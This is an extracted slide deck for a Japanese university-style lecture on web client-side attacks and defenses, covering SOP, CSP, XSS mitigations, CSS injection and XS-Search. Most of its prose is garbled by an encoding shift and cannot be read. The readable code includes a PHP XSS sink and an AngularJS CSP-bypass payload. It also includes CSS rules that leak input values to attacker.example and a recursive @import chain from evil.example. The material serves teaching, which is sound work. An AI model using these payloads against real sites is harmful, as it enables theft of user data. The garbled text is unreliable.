Web クライアントサイドの攻防 / Attacks and Defenses in Web Browsers

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TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ֓ཁ 8FCΫϥΠΞϯταΠυͷ߈๷ ‣ ຊࢿྉ͸ηΩϡϦςΟɾΩϟϯϓશࠃେձͰఏڙͨ͠ߨٛ ʮମܥతʹֶͿϞμϯ8FCηΩϡϦςΟʯΛϕʔεʹͯ͠վ୊ɾ վมͨ͠΋ͷͰ͢ɻ ‣ ౰࣌ͷߨٛͷʮମܥతʹֶͿʯཁૉ͸ओʹࣄલֶश͋ͬͨͨΊɺͦΕ
͕আ͔Ε͍ͯΔຊࢿྉ͸ʮମܥతʯͱ͸ݺ΂·ͤΜʜɻ ‣ 8FCΫϥΠΞϯταΠυͷجૅతͳηΩϡϦςΟػߏɺ߈ܸٕज़ ͷൃలͷྺ࢙Λେ·͔ʹோΊ͍͖ͯ·͢ɻ ‣ ຊߨٛͷԋशͰ͸ɺҎԼͷϗετͷΈΛར༻͠·͢ɻ͜ΕҎ֎ͷϗ ετʹ͸Ұ੾߈ܸΛՃ͑ͳ͍Ͱ͍ͩ͘͞ɻ ‣ IBDRNF

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ஫ҙࣄ߲ 8FCΫϥΠΞϯταΠυͷ߈๷ ‣ ຊࢿྉ͸8FCΫϥΠΞϯταΠυʹ͓͚Δ੬ऑੑɾ߈ܸख๏ʹ͍ͭ ͯͷద੾ͳཧղΛଅͨ͢Ίͷ΋ͷͰ͋Γɺҧ๏ߦҝΛॿ௕͢Δ΋ͷ Ͱ͸͋Γ·ͤΜɻ ‣ ຊࢿྉதͰ͸੨എܠͷεϥΠυͰԋश؀ڥ΁ͷϦϯΫΛష͍ͬͯ·
͢ɻͦ͜Ͱࣔ͞Ε͍ͯΔϗετҎ֎ʹ͸Ұ੾߈ܸΛՃ͑ͳ͍Ͱͩ͘ ͍͞ɻ

଎श401$034

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TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ 4BNF0SJHJO1PMJDZ "OFYBNQMFPGGFBUVSFTCBTFEPO0SJHJO ‣ ֓ཁ4BNF0SJHJO1PMJDZ ‣ 401͸ҎԼΛېࢭ͢Δɻ ‣ $SPTT0SJHJOͳಡΈࠐΈ
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TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ $034 $SPTT0SJHJO3FTPVSDF4IBSJOH 0SJHJOʹجͮ͘ηΩϡϦςΟػߏͷྫ ‣ ໰୊$SPTT0SJHJOͳϦιʔεΛਖ਼౰ͳ༻్Ͱར༻͍͍ͨͤͨ͠͞ ৔߹ʹ͸Ͳ͏͢Ε͹Α͍ͷͩΖ͏͔ɻ ‣
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TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ 4JUF 0SJHJOΑΓMPPTFͳηΩϡϦςΟڥք ‣ ໰୊0SJHJO͸΍΍ݫ͍͠ͷͰɺΑΓMPPTFͳ੍໿͕΄͍͠ɻ ‣ ղܾ4JUF ‣ 4DIFNFGVM4JUF4DIFNF
F5-% ‣ 4DIFNFMFTT4JUFF5-% ‣ ࠾༻ྫ ‣ 4JUF*TPMBUJPO4DIFNFGVM4JUF ‣ $3FJT ".PTIDIVL BOE/0TLPW l4JUF*TPMBUJPO1SPDFTT4FQBSBUJPOGPS8FC4JUFTXJUIJOUIF#SPXTFS zJO 64&/*94FDVSJUZ4ZNQPTJVN ‣ 4BNF4JUF$PPLJF $001 $0&1 4DIFNFMFTT4JUF

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ‣ 4BNF0SJHJO1PMJDZʹΑΓɺ͋Δ0SJHJOͷ΋ͭσʔλ͸ɺͦͷ֎ ෦ͷ0SJHJO͔Β৮Εͳ͍ ˞ྫ֎͸͋Δ ɻ ‣ 944͸ͦͷ੍໿ͷճආͩͱଊ͑ΒΕΔɻ
‣ ߈ܸऀ͸401ͷ੍໿Λड͚ͣʹ ର৅0SJHJOͷ಺ଆΛಈ͖ճΕΔ Origin A εΫϦϓτૠೖ <?= $_GET['q'] ?>

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ 4DIXFOLFUBM 4BNF0SJHJO1PMJDZͷςετ ‣ ٙ໰ 4DIXFOLFUBM
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944ରࡦͷٕज़ͷൃల

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ରࡦϑϨʔϜϫʔΫଆ 'PPMQSPPG "VUPFTDBQJOH FUD ‣ Ϟμϯͳ8FCϑϨʔϜϫʔΫϥΠϒϥϦͷଟ͕͘ɺ࣍ͷΑ͏ͳର ࡦΛఏڙ͍ͯ͠Δɻ ‣
جຊ͸ࣗಈͰΤεέʔϓ͢Δɻ ‣ ։ൃऀ͕ΤεέʔϓΛҙਤతʹແޮԽͰ͖Δ͕ɺةݥ͸שى͢Δɻ ‣ FHEBOHFSPVTMZ4FU*OOFS)5.- <?= $_GET['q'] ?> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ରࡦ$41 $POUFOU4FDVSJUZ1PMJDZ ‣ ΞΠσΞ ‣ ։ൃऀ͸ɺ)5.-+4ͷͲͷ෦෼͕ࣗ෼͕ఏڙͨ͠΋ͷͰɺͲͷ෦෼ ͕ͦ͏Ͱͳ͍͔Λ஌͍ͬͯΔɻ ‣
*OKFDU͞Εͯ΋ɺͦΕ͕F⒎FDUJWFͰ͑͞ͳ͚Ε͹Α͍ɻ ‣ $41͸։ൃऀ͕ϒϥ΢βʹ ؔ܎͢Δ0SJHJO΍ਖ਼نͷ+4͸ͲΕ ͔ɺͳͲͷ ࣄલ৘ใΛ༩͑Δ͜ͱͰɺ$POUFOU*OKFDUJPO߈ܸΛ๷ ͍Ͱ͍͜͏ɺͱ͍͏࢓૊Έɻ Content-Security-Policy: script-src 'nonce-4g34...34r' <script nonce="4g34...34r">alert('Hello, CSP!')</script> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ Ͱ͖Δ͜ͱ $POUFOU4FDVSJUZ1PMJDZ ‣ 'FUDI%JSFDUJWFTϦιʔεͷऔಘɾར༻Λ੍ݶ ‣ ྫTDSJQUTSD GSBNFTSD
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TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ؔ࿈ݚڀ $POUFOU4FDVSJUZ1PMJDZ ‣ ࠓ೔ͷ$41ʹࢸΔ·Ͱʹ͸ɺଟ͘ͷݚڀɾݕ౼͕ͳ͞Ε͖ͯͨɻ ‣ ୅දతͳؔ࿈ݚڀ ‣ #&&1
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TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ࣮ࡍͷӡ༻ྫΛݟΔ $POUFOU4FDVSJUZ1PMJDZ ‣ $41Λಋೖ͍ͯ͠Δ8FCΞϓϦέʔγϣϯ͸૿͖͍͑ͯͯΔɻ ‣ ՝୊5XJUUFS (JU)VC౳ͷ$41ϔομΛݟͯΈΑ͏ɻ ‣
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TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ໰୊ͱల๬ $POUFOU4FDVSJUZ1PMJDZ ‣ ໰୊$41͕ංେԽɾෳࡶԽ͠ɺʮॏ͍ʯଘࡏʹͳ͖ͬͯͨɻ ‣ ۙ೥͸$41ͷऔΓѻ͏ྖҬ͕େ͖͘ͳͬͯ͠·ͬͨɻ ‣ ޙํޓ׵ੑ
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TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ରࡦ944"VEJUPSܥ &YBNQMFTPG$MJFOUTJEF.JUJHBUJPOPG944 ‣ ൓ࣹܕ 944Λϒϥ΢β͕ݕ஌ ͯ͠ɺ๷͙ͨΊͷ࢓૊Έɻ ‣
99441SPUFDUJPOϔομʹΑ ΓϞʔυ͕ܾΊΒΕΔ ‣ ແޮ ‣ pMUFS NPEFpMUFS ‣ CMPDL NPEFCMPDL ‣ ݱࡏ944"VEJUPS͸ফ͑Δํ޲ ʹਐΜͰ͍ΔɻDMBQ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ରࡦ944"VEJUPSܥ &YBNQMFTPG$MJFOUTJEF.JUJHBUJPOPG944 ‣ ൓ࣹܕ 944Λϒϥ΢β͕ݕ஌ ͯ͠ɺ๷͙ͨΊͷ࢓૊Έɻ ‣
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TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల ରࡦ5SVTUFE5ZQFT ܕγεςϜΛར༻ͯ͠%C944ͱઓ͏ ‣ 5SVTUFE5ZQFTʜ৴པ͞ΕͨܕΛ࣋ͭ஋ͷΈΛ֤4JOLʹ୅ೖͰ
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944ؔ࿈ͷ߈ܸٕज़ͷൃల

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ 944ൃల 944ͱ͍͏ݴ༿͕࢖ΘΕ͸͡ΊΔ $SPTTTJUFTDSJQUJOHBUUBDLT944&YQMPJUTBOEEFGFOTF౳ ೥͝Ζ ೥͝Ζ ೥͝Ζ ೥͝Ζ
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TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ 944ٕ๏ͷൃల 4DSJQU(BEHFUT301ͱಉ͡ߟ͑ํ ‣ ໰୊$41ͷ͍ͤͰɺ͏·͘೚ҙ+4࣮ߦ·Ͱ͍͚࣋ͬͯͳ͍ɻ ‣ ղܾ4DSJQU(BEHFUT -FLJFTFUBM
‣ ΞΠσΞ$41Ͱ৴པ͞Ε͍ͯΔ0SJHJOԼͷ+4΍ɺ͢Ͱʹϩʔυ͞ Ε͍ͯΔ+4Λܦ༝ FHFWBMϑΝϛϦͷར༻ PSར༻͢Ε͹ɺ೚ҙ +4࣮ߦʹܨ͛ΒΕΔͷͰ͸ͳ͍͔ɻ ‣ 4-FLJFT ,,PUPXJD[ 4(SP &7/BWB BOE.+PIOT l$PEFSFVTFBUUBDLTGPSUIF8FC#SFBLJOH$SPTT4JUF4DSJQUJOH .JUJHBUJPOTWJB4DSJQU(BEHFUT zJO1SPDFFEJOHTPGUIF"$.4*(4"$$POGFSFODFPO$PNQVUFSBOE$PNNVOJDBUJPOT 4FDVSJUZ QQr <script src="https://ajax.googleapis.com/ajax/libs/ angularjs/1.0.8/angular.js"></script> <div ng-app ng-csp ng-mouseover=$event.view.alert('XSS')> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

&YFSDJTF 944$IBMMFOHFW IUUQTYTTDIBMMFOHFUSBJOJOHIBDRNF

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ 4DSJQUMFTT"UUBDLT +BWB4DSJQUΛར༻͠ͳ͍߈ܸ ‣ ໰+4Λ࢖ΘͣʹͰ͖Δ߈ܸʹ͸ɺͲͷΑ͏ͳ΋ͷ͕͋Δ͔ɻ ‣ 944ରࡦ͸͍ͯͯ͠΋ɺͦΕҎ֎͸ҙࣝͷ֎Ͱ͋Δɺͱ͍͏৔߹͸͠ ͹͠͹͋ΔͨΊɺ͜Ε͸༗ӹͳ໰ɻ ‣
ఏҊ4DSJQUMFTT"UUBDLT )FJEFSJDIFUBM ͕ମܥత ‣ $44*OKFDUJPOʹؔͯ͠͸ɺ"UUSJCVUFSFBEJOH 'POUMJHBUVSF UFDIOJRVF GPOUSBOHFUFDIOJRVF ౳ͷςΫχοΫ͕XFMMLOPXOɻ ‣ /FXSFTFBSDIMJOFSFDVSTJWFJNQPSUUFDIOJRVFT 1FQF7JMB IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG ‣ .)FJEFSJDI ./JFNJFU[ '4DIVTUFS 5)PM[ BOE+4DIXFOL l4DSJQUMFTT"UUBDLT4UFBMJOHUIF1JFXJUIPVU5PVDIJOHUIF 4JMM zJO1SPDFFEJOHTPGUIF"$.$POGFSFODFPO$PNQVUFSBOE$PNNVOJDBUJPOT4FDVSJUZ QQr 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ 94-FBLT944FBSDI "UUBDLTBJNJOHUIFQPTU944XPSME ‣ ໰ͦ΋ͦ΋$POUFOU*OKFDUJPO੬ऑੑ͕ͳ͍৔߹ʹ΋ɺ߈ܸऀ͸Կ Β͔ͷ߈ܸΛߦ͏༨஍͕͋ΔͷͩΖ͏͔ɻ ‣ ΞΠσΞ΋͠৘ใͷ׬શͳϦʔΫ͕ݫͯ͘͠΋ʜʜʁ ‣
$SPTT0SJHJO͔ΒͰ΋ಡΊΔ৘ใ͔ΒɺԿ͔ҙຯͷ͋Δ৘ใΛ நग़Ͱ͖ͳ͍͔ɻ ‣ ͦ΋ͦ΋ಡ·ΕΔ͜ͱ͕૝ఆ͞Ε͍ͯͳ͍৘ใΛɺαΠυνϟω ϧͷ؍ଌΛ௨ͯ͠ಘΔ͜ͱ͕ग़དྷͳ͍͔ʁ ‣ ͜ͷΞΠσΞͷ΋ͱɺ$SPTTTJUF-FBLT 94-FBLT ΍$SPTT TJUF4FBSDI 944FBSDI ͱݺ͹ΕΔྨ͕ొ৔ͨ͠ɻ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ༨ஊ ϨΠϠͷؒΛࢄา͢Δ ‣ ʮ%&1ʹର͢Δ301SFUMJCDʯͱʮ$41ʹର͢Δ4DSJQU (BEHFUTʯʁ ‣ ϋʔυ΢ΣΞ
%&1͸/9CJUʹΑΔ࣮ߦՄೳྖҬͷϚʔΫ ‣ $41͸σΟϨΫςΟϒʹΑΔར༻ՄೳྖҬͷϚʔΫͱݟΕΔ ‣ ͜ΕΒ͸͔֬ʹಉ͡੾Γޱͷ߈ܸͰ͋Δͱݴ͑Δɻ ‣ ྫ6TFBGUFS'SFF.BJM (SVTTFUBM ‣ %(SVTTFUBM l6TFBGUFS'SFF.BJM(FOFSBMJ[JOHUIFVTFBGUFSGSFFQSPCMFNBOEBQQMZJOHJUUPFNBJM TFSWJDFT z"4*"$$41SPD"$."TJB$POG$PNQVU$PNNVO4FDVS ‣ 6TF"GUFS'SFF 6"' ͷߟ͑ํΛҰൠԽͯ͠ண૝ΛಘͨΒ͍͠ɻ ‣ %BOJFM(SVTTࢯ΍ͦͷपลͷํʑ͕΍͍ͬͯΔݚڀ͸ඇৗʹ໘ന͍ͷ Ͱɺ΢Υον͓ͯ͘͠ͱ͍͍͜ͱ͕͋Δ͔΋ɻ

$44*OKFDUJPO

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ લఏ஌ࣝ "UUSJCVUF3FBEJOH$44*OKFDUJPO ‣ ࣍ͷΑ͏ͳ)5.-λάΛߟ͑Α͏ɻ ‣ ͜Ε͸࣍ͷͭͷ$44ηϨΫλશͯʹϚον͢Δɻ ‣ ͜ΕΛԠ༻͢Δͱ
ଐੑ஋ΛMFBLՄೳɻ <input type="hidden" value="abc"> input[value ^= "a"] { /* ... */ }  input[value ^= "ab"] { /* ... */ }  input[value ^= "abc"] { /* ... */ }

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ߈ܸͷߏ଄ "UUSJCVUF3FBEJOH$44*OKFDUJPO input[value ^= "a"] { background:
url(http://attacker.example/?a) } /* ... */ ‘ ߈ܸϕΫλ ϦΫΤετ ϦʔΫ ൓ࣹܕ ஝ੵܕ ४උ

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ߈ܸͷݪཧ "UUSJCVUF3FBEJOH$44*OKFDUJPO ‣ ࣍ͷ)5.-λάͷWBMVFଐੑΛϦʔΫ͍ͨ͠৔߹Λߟ͑Δɻ ‣ ߈ܸऀ͸ɺ$44*OKFDUJPO͕Ͱ͖Δ৔ॴʹɺҎԼͷΑ͏ͳ$44Λ܁ Γฦ͠ BΛC
D ͱม͑ͭͭ ૠೖ͍ͯ͘͠ɻ ‣ ߈ܸऀ͸BUUBDLFSFYBNQMFͰ଴ͪड͚͓ͯ͘͜ͱͰɺWBMVFଐ ੑͷจࣈ໨Λ஌Δ͜ͱ͕Ͱ͖Δɻ <input type="hidden" value="abc"> input[value ^= "a"] {   background: url(http://attacker.example/?a)  }

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ -JHBUVSF੍ޚʹΑΔϦʔΫ -JHBUVSF$44*OKFDUJPO ‣ ໰୊͜͜·Ͱʹ঺հͨ͠"UUSJCVUF3FBEJOHͰ͸ɺλάͷଐੑ஋ ͔͠ಡΊͳ͍ͷͰɺ߈ܸʹར༻Ͱ͖Δঢ়گ͕ݶΒΕ͍ͯΔɻ ‣ ղܾҎԼͷΑ͏ͳํ๏ʹΑΓɺଐੑ஋Ҏ֎΋ಡΈग़ͤΔɻ ‣
ϑΥϯτͷ-JHBUVSFΛར༻ͯ͠จࣈͷ෯εΫϩʔϧόʔΛ੍ޚ͢Δ ‣ εΫϩʔϧόʔ͕ੜͨ͡ͱ͖ʹ֎෦αʔόͱ௨৴ͤ͞Δ ‣ ิ଍)FJEFSJDIFUBM ͰΞΠσΞ͕ఏҊ͞Ε͍͕ͯͨɺ1P$ ͕ެ։͞Εͨͷ͸#FOULPXTLJ ͝Ζ͕ॳΊ͔ͯɻ .#FOULPXTLJ l8ZLSBEBOJFEBOZDIX㶄XJFUOZNTUZMVrD[ZMJKBLXZLPS[ZTUB㶛$44ZEPBUBLÓXOBXFCBQMJLBDK㶝 z<0OMJOF> "WBJMBCMFIUUQTTFLVSBLQMXZLSBEBOJFEBOZDIXTXJFUOZNTUZMVD[ZMJKBLXZLPS[ZTUBDDTTZEPBUBLPXOBXFCBQMJLBDKF <"DDFTTFE.BS> ϑΥϯτ੍ޚ εΫϩʔϧόʔ੍ޚ ߈ܸϕΫλ = +

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ͜Ε·Ͱͷख๏ͷ໰୊఺ $44*OKFDUJPO ‣ ՝୊"UUSJCVUF3FBEJOH΋-JHBUVSF੍ޚʹΑΔϦʔΫ͸ɺ۪௚ʹ ΍Δͱɺෳ਺ճͷϦΫΤετ JOKFDUJPO ͕ඞཁʹͳΔɻ ‣
㲎จࣈϦʔΫ͢Δͨͼʹɺ৽͍͠$44Λ஫ೖ͢Δඞཁ͕͋Δɻ ‣ 㱤ϦΫΤετ͝ͱʹมԽ͢ΔΑ͏ͳର৅͸ϦʔΫͰ͖ͳ͍ɻ ‣ ղܾ3FDVSTJWF*NQPSU5FDIOJRVF 7JMB ‣ ࠶ؼతͳ!JNQPSUΛར༻ͯ͠ɺ౓ͷJOKFDUJPOͰϦʔΫΛࡁ·ͤ Δɺͱ͍͏ख๏ɻ ‣ ͜ͷߨٛͰ΋͜ͷख๏ʹ͍ͭͯ͸આ໌͢Δ͕ɺҎԼͷ7JMBͷεϥΠυΛ ಡΉ͜ͱΛקΊΔɻ IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ߈ܸͷΞΠσΞ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO ‣ ॳΊʹ࣍ͷΑ͏ͳ$44Λ஫ೖ͢Δɻ <style>@import
url(//evil.example/0.css)</style> @import url(//evil.example/1.css) input[value^=a]{/*...*/} input[value^=b]{/*...*/} ... input[value^=z]{/*...*/} ‣ DTTͷத਎ΛҎԼͷΑ͏ʹ͓ͯ͘͠ɻ

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ߈ܸͷΞΠσΞ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO @import url(//evil.example/2.css) input[value^=aa]{/*...*/}
input[value^=ab]{/*...*/} ... input[value^=az]{/*...*/} ‣ DTT΁ͷ(&5ϦΫΤετ͕ඈΜͰ͘Δ͕ɺҰ୴์ஔ͓ͯ͘͠ɻ ‣ DTTԼ෦Ͱจࣈ໨ͷϦʔΫ͕ߦΘΕΔɻ ‣ ͜ͷจࣈ໨ͷϦʔΫͷ݁ՌΛݩʹDTTΛੜ੒͢Δɻ ‣ ์ஔ͍ͯͨ͠(&5ϦΫΤετʹฦ౴͢Δɻ

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ߈ܸͷΞΠσΞ 3FDVSTJWF*NQPSU5FDIOJRVF$44*OKFDUJPO ‣ ར఺ ‣
ॳΊʹTUZMFλάҰͭΛ஫ೖ͢Δ͚ͩͰ͢Ήɻ ‣ ϦΫΤετ͝ͱʹมԽͯ͠͠·͏Α͏ͳ஋Ͱ͋ͬͯ΋ϦʔΫͰ͖Δʂ ‣ େࣄͳͱ͜Ζ ‣ ࠶ؼతʹ$44ΛJNQPSU͢Δɻ ‣ ΋ͬͱ΋࠶ؼతͰ͋Δඞཁ͸ͳ͘ɺฒྻͤͯ͞΋Α͍ɻ ‣ ϦΫΤετʹରͯ͠௚ͪʹฦ౴ͤͣɺ४උ͕Ͱ͖͔ͯΒฦ౴͢Δɻ ‣ ஫ҙ ‣ $44ͷద༻༏ઌ౓ͷ໰୊Ͱɺ࣮͸͜ͷ··Ͱ͸ಈ͔ͳ͍ɻ

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ิ଍ $44*OKFDUJPO΋ͬͱֶͼ͍ͨ͋ͳͨͷͨΊʹ ‣ 3FDVSTJWF*NQPSU5FDIOJRVFʹؔͯ͠͸ɺ߈ܸ༻ͷεΫϦϓτͷ ࣮૷͕ͦΕͳΓʹ໘౗Ͱ͋Δɻ ‣ )551Λ஻Δαʔό͕ඞཁͳͨΊɻ ‣
ࣗಈԽͷͨΊͷπʔϧ͕ެ։͞ΕΔΑ͏ʹͳ͖ͬͯͨɻ ‣ IUUQTHJUIVCDPNEOVUQUSTJD ‣ IUUQTHJUIVCDPNNPOTFO ‣ ͜ΕΛҰ౓ࣗ෼Ͱॻ͍ͯΈΔͷ͸͘͢͝ษڧʹͳΔɻ ‣ ࢀߟ ‣ IUUQTYDMMHJUIVCJPQPTUT$44*OKFDUJPO1SJNJUJWFT

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ༨ஊߴ଎Խɾ࠷దԽͷฐ֐ $44*OKFDUJPO΍5SBOTJFOU&YFDVUJPO"UUBDLTΛྫʹ ‣ ؾ͖ͮߴ଎Խ΍࠷దԽ͸ɺ͠͹͠͹ηΩϡϦςΟ্ͷ໰୊Λ༠ಋ͠ ͯ͠·͏ʜɻ ‣ ྫ౤ػత࣮ߦͷΑ͏ͳ࢓૊Έ͕5SBOTJFOU&YFDVUJPO"UUBDLTΛ༠ ಋͨ͠ɻ
‣ ྫ ϒϥ΢βʹ͓͚Δ $440.ͷߏஙͱϨϯμϦϯάπϦʔߏஙͷ ύΠϓϥΠϯԽ ͕3FDVSTJWF*NQPSU5FDIOJRVFΛ༠ಋͨ͠ɻ ‣ ྫΩϟογϡ͕λΠϛϯά߈ܸͷོ੝Λ༠ಋͨ͠ɻ ‣ ໰ߴ଎Խɾ࠷దԽͱηΩϡϦςΟͱͷڞଘͷಓ͸͋ΔͩΖ͏͔ɻ

&YFSDJTF $44*OKFDUJPO$IBMMFOHF IUUQTDTTJDIBMMFOHFIBDRNF

94-FBLTBOE944FBSDI

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ جຊతͳΞΠσΞ 94-FBLT 944FBSDI ‣ ٙ໰੬ऑੑͷͳ͍8FCΞϓϦέʔγϣϯʹରͯ͠ɺͳΜΒ͔ͷ߈ ܸΛߦ͏͜ͱ͸Ͱ͖ͳ͍͔ɻ ‣ ΞΠσΞ$SPTT0SJHJOͰ΋؍ଌͰ͖Δཁૉ͸ɺݶΒΕ͍ͯΔ͕ɺ
ݩʑͷ)5.-จॻͷத਎ɾߏ଄ͷਪଌͷώϯτʹͳΔɻ ‣ $SPTT0SJHJOͰ΋؍ଌͰ͖Δཁૉ͸ͦͷϦιʔεͷࣹӨͰ͋Δɻ ‣ ద౰ͳԾఆΛஔ͚͹ɺ౰֘ϦιʔεΛਪଌͰ͖Δ͔΋͠Εͳ͍ɻ ‣ $SPTT0SJHJOͰ΋؍ଌͰ͖Δཁૉ͸ɺ࣍ͷΑ͏ʹ෼ྨͰ͖Δɻ ‣ ެࣜʹఏڙ͞Ε͍ͯΔ΋ͷ FHXJOEPXMFOHUI ‣ αΠυνϟωϧతख๏ʹΑΓ؍ଌͰ͖Δ΋ͷ

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ $SPTTTJUF-FBLT4FBSDI 94-FBLT 944FBSDI ‣ $SPTTTJUFMFBLT 94-FBLT ͱ͸ɺϒϥ΢β্ͰͷαΠυνϟ ωϧͨͪͷ૯শͰ͋Δɻ΍΍ޠฐ͸͋Δ͕ɻ
‣ 94-FBLT߈ܸͱ͸ͦΕΒΛར༻ͨ͠αΠυνϟωϧ߈ܸͷ͜ͱɻ ‣ ͱ͘ʹ܁Γฦ͠ͷ໰͍߹Θͤͷޙɺ؍ଌ͢Δɺͱ͍͏ྲྀΕ͔Β ͳΔ߈ܸ͸ɺ$SPTTTJUF4FBSDI 944FBSDI ͱݺ͹ΕΔɻ ‣ ྫ͑͹ҎԼͷ΍ΓͱΓ͔ΒɺϘϒͱΫϦε͸͖ͬͱ஌Γ߹͍ͩͱݴ͑ Δ͠ɺϘϒͱΞϦε͸஌Γ߹͍Ͱ͸ͳͦ͞͏ͩͱ෼͔Δɻ ‣ ʮϘϒɺΫϦεͱͷؒͰૹड৴ͨ͠ϝʔϧͷ݅਺͸Կ݅ʁΞϦεͱ͸ʁʯ ‣ ʮΫϦεͱ͸݅ɺΞϦεͱ͸͔݅ͳɻʯ ‣ ͜Εͱࣅͨ͜ͱΛߦ͏ͷ͕944FBSDIͱݺ͹ΕΔ߈ܸɻ

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ εΩʔϜ 944FBSDI ‣ (FMFSOUFSFUBM ‣ ߩݙ944FBSDIͷख๏ΛγεςϚνοΫʹهड़ͨ͠ɻ ‣
944FBSDIͰར༻͢ΔͷʹͲͷ౷ܭख๏͕ద੾͔ͷݕ౼Λߦͬͨ఺ɻ ‣ $SPTCZFUBM ͷ#PYUFTUͷ࠾༻ 4"$SPTCZ %48BMMBDI BOE3)3JFEJ l0QQPSUVOJUJFTBOE-JNJUTPG3FNPUF5JNJOH"UUBDLT z"$.5SBOT *OG4ZTU4FDVS WPM OP +BO ‣ λΠϛϯάνϟωϧͷBNQMJpDBUJPOख๏ͷఏҊɻ ‣ EJWJEFBOEDPORVFSΞϧΰϦζϜͷఏҊɻ ‣ /(FMFSOUFSBOE")FS[CFSH l$SPTT4JUF4FBSDI"UUBDLT zJO1SPDFFEJOHTPGUIFOE"$.4*(4"$$POGFSFODFPO $PNQVUFSBOE$PNNVOJDBUJPOT4FDVSJUZ QQr ‣ ࣍ϖʔδҎ߱Ͱ(FMFSOUFSFUBM ͷεΩʔϜΛઆ໌͢Δɻ

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ۩ମྫΛϕʔεʹߟ͑Δ 94-FBLT 944FBSDI ‣ લఏ࣍ͷ৚݅Λຬͨ͢ΦϯϥΠϯϝʔϧαʔϏε͕͋ͬͨͱ͢Δɻ ‣ ϝʔϧϘοΫεͷݕࡧ༻"1*Λ͍࣋ͬͯΔɻ ‣
ͦͷ"1*͸ɺݕࡧϫʔυΛड͚औΓɺݕࡧ݁ՌΛฦ͢ɻ ‣ ͦͷ"1*͸ɺݕࡧ݁Ռ͕ଟ͍ͱ͖΄Ͳɺॲཧʹ͕͔͔࣌ؒΔɻ ‣ ΋͠ҎԼͷͭͷ஋Λ߈ܸऀ͕؍ଌͰ͖Δͱ͢Δɻ ‣ ͭ΋ݕࡧ݁Ռ͕ͳͦ͞͏ͳϫʔυͰݕࡧͨ͠ͱ͖ʹ͔͔Δ࣌ؒ ‣ ޠ Ͱݕࡧͨ͠ͱ͖ʹ͔͔Δ࣌ؒ ‣ ΞΠσΞ ͷେ͖͞ΛݟΕ͹ɺϝʔϧϘοΫεதʹޠ ͕୔ࢁ ͋Δ͔෼͔Δɻ܁Γฦ͜͠ΕΛར༻͢ΔͱɺϢʔβʔͷૉੑ͕ු͔ ͼ্͕Δʂ t1 t2 w t2 − t1 w

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ ۩ମྫ 944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ৔߹ %VNNZ3FRVFTU 3FTQPOTF $IBMMFOHF3FRVFTU 3FTQPOTF 7JDUJN
4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ʮ͜ͷ஫จʹ͕֮͑ͳ͍৔߹ ͸ɺ͜ͷϦϯΫΛΫϦοΫʯ

4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ʮHSXHHSOHXPSHIH OPHKHʯͷݕࡧ݁ՌΛ໰͍߹Θ ͤΔɻ݁Ռ͸ۭͳ͸ͣɻ

